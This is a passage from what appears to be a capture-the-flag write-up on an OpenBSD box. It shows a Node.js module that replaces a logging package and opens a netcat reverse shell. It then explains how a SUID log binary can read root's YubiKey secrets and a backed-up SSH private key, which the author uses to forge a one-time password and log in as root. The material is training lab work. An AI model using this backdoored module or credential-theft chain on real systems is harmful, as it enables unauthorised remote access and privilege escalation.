rm /opt/sysadmin/node_modules/log-to-file/app.js
wget -q -O/opt/sysadmin/node_modules/app.js

And my drop-in replacement module.

const { exec } = require("child_process");

exec("rm -rf /tmp/p; mkfifo /tmp/p; /bin/sh -i </tmp/p | nc 1234 >/tmp/p", (error, stdout, stderr) => {
    if (error) {
        console.log(`error: ${error.message}`);
    if (stderr) {
        console.log(`stderr: ${stderr}`);
    console.log(`stdout: ${stdout}`);

// Export.
module.exports = logToFile;

There you have it.

I’m john. :smile:

From john to root

During enumeration of john’s account, I notice a SUID and SGID executable at /usr/local/bin/log.

What is this?

Generate OTP from Yubikey

Recall the observation that root’s SSH authentication has something to do with YubiKey? This is what the OpenBSD manual page has to say about YubiKey.

Perhaps we can use /usr/local/bin/log to read root.key, root.uid and root.ctr from /var/db/yubikey?

Bingo! I searched Google for the possibility of command-line tool that will generate an Yubico OTP given the three files.

The first result sure looks promising. It appears to contain what I need.

Compiling ykgenerate is beyond the scope of this write-up—don’t worry, it’s super easy.

So far so good, all fine and dandy but what the fuck exactly are the arguments? Other than the AES key and user identity, I have no clue what other arguments mean. Good thing I found the OTP decryption protocol and it offers a rather simplistic explanation of the arguments.

I think it all centers around the counter. Look at the counter or root.ctr. It has an integer of value 985089 or 0x0f0801.

This is what I think is happening. The lowest significant byte 0x01 is the last-use counter while 0x0f08 is just the counter.

Where’s the SSH private key?

Last but not least, I need root’s SSH private key in order to log in. Let’s check changelist(5) for the list of backup files.

#       $OpenBSD: changelist,v 1.127 2020/09/13 10:03:46 ajacoutot Exp $
# List of files which the security script backs up and checks
# for modifications.
# Files prefixed with a '+' will have their checksums stored,
# not the actual files.


Awesome, we can see that root’s SSH private key is listed. According to changelist(5),

Assuming it was not modified, the backup key should be at /var/backups/root_.ssh_id_rsa.current where all the slashes / are changed to underscore _ except for the root directory slash. We should be able to use /usr/local/bin/log to read it because /var was unveil‘d. :wink:


Logging in as root

Finally, let’s generate the OTP. Remember the last-use counter has to be greater than the least-significant byte in root.ctr as demonstrated previously.

The end is here…